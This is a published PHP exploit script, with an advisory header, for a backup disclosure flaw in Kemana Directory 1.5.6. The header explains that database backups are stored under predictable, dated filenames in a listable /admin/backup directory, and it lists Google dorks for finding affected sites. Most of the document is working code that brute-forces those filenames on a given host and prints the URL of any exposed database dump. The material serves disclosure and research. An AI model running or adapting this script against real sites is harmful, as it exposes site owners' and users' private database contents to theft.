Kemana Directory 1.5.6 Database Backup Disclosure

`<?php  
  
/*  
  
Kemana Directory 1.5.6 Database Backup Disclosure Exploit  
  
  
Vendor: C97net  
Product web page: http://www.c97.net  
Affected version: 1.5.6  
  
Summary: Experience the ultimate directory script solution  
with Kemana. Create your own Yahoo or Dmoz easily with Kemana.  
Unique Kemana's features including: CMS engine based on our  
qEngine, multiple directories support, user friendly administration  
control panel, easy to use custom fields, unsurpassed flexibility.  
  
Desc: Kemana stores database backups using the Backup DB tool  
with a predictable file name inside the '/admin/backup' directory  
as '_Full Backup YYYYMMDD_1.sql' or '_Full Backup YYYYMMDD_1.gz',  
which can be exploited to disclose sensitive information by  
downloading the file. The '/admin/backup' is also vulnerable to  
directory listing by default.  
  
  
Tested on: Apache/2.4.7 (Win32)  
PHP/5.5.6  
MySQL 5.6.14  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2014-5176  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5176.php  
  
  
Dork #1: intitle:powered by c97.net  
Dork #2: intitle:powered by qEngine  
Dork #3: intitle:powered by Kemana.c97.net  
Dork #4: intitle:powered by Cart2.c97.net  
  
  
  
07.03.2014  
  
*/  
  
  
error_reporting(0);  
  
function status($done, $total, $size=20)  
{  
static $start_time;  
if($done > $total) return;  
if(empty($start_time)) $start_time=time();  
  
$now = time();  
$perc=(double)($done/$total);  
$bar=floor($perc*$size);  
  
$disp=number_format($perc*100, 0);  
  
$status_bar="\r $disp% [";  
$status_bar.=str_repeat("=", $bar);  
if($bar<$size)  
{  
$status_bar.=">";  
$status_bar.=str_repeat(" ", $size-$bar);  
} else  
{  
$status_bar.="=";  
}  
  
$status_bar.="] $done/$total";  
  
$rate = ($now-$start_time)/$done;  
$left = $total - $done;  
$eta = round($rate * $left, 2);  
$elapsed = $now - $start_time;  
  
$status_bar.= " remaining: ".number_format($eta)." sec. elapsed: ".number_format($elapsed)." sec.";  
  
echo "$status_bar ";  
flush();  
  
if($done == $total)  
{  
echo "\n";  
}  
}  
  
print "  
@---------------------------------------------------------------@  
| |  
| Kemana Directory 1.5.6 Database Backup Disclosure Exploit |  
| |  
| |  
| Copyleft (c) 2014, Zero Science Lab |  
| |  
| Advisory ID: ZSL-2014-5176 |  
| www.zeroscience.mk |  
| |  
@---------------------------------------------------------------@  
";  
  
if ($argc < 4)  
{  
print "\n\n [+] Usage: php $argv[0] <host> <port> <dirname>\n\n";  
print " [+] Example: php $argv[0] zeroscience.mk 80 hercules\n\n";  
die();  
}  
  
$godina_array = array('2014','2013','2012','2011','2010');  
  
$mesec_array = array('12','11','10','09',  
'08','07','06','05',  
'04','03','02','01');  
  
$dn_array = array('31','30','29','28','27','26',  
'25','24','23','22','21','20',  
'19','18','17','16','15','14',  
'13','12','11','10','09','08',  
'07','06','05','04','03','02',  
'01');  
  
$host = $argv[1];  
$port = intval($argv[2]);  
$path = $argv[3];  
$dbnm = "Full%20Backup%20";  
  
$alert1 = "\033[1;31m";  
$alert2 = "\033[0;37m";  
$alert3 = "\033[1;32m";  
  
echo "\n [*] Running checks:\n\n";  
  
foreach($godina_array as $godina)  
{  
foreach($mesec_array as $mesec)  
{  
$x++;  
status($x, 58);  
foreach($dn_array as $dn)  
{  
$ext=".gz";  
if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext))  
{  
echo "\n";  
echo $alert1;  
print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";  
echo $alert2;  
print " Filename: '_Full Backup ".$godina.$mesec.$dn."_1".$ext."'\n";  
print " Full URL:\x20";  
echo $alert3;  
die("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext."\n\n");  
}  
$ext=".sql";  
if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext))  
{  
echo "\n";  
echo $alert1;  
print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";  
echo $alert2;  
print " Filename: '_Full Backup ".$godina.$mesec.$dn."_1".$ext."'\n";  
print " Full URL:\x20";  
echo $alert3;  
die("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext."\n\n");  
}  
}  
}  
}  
  
print "\n\n [*] Zero findings!\n\n\n";  
  
?>  
`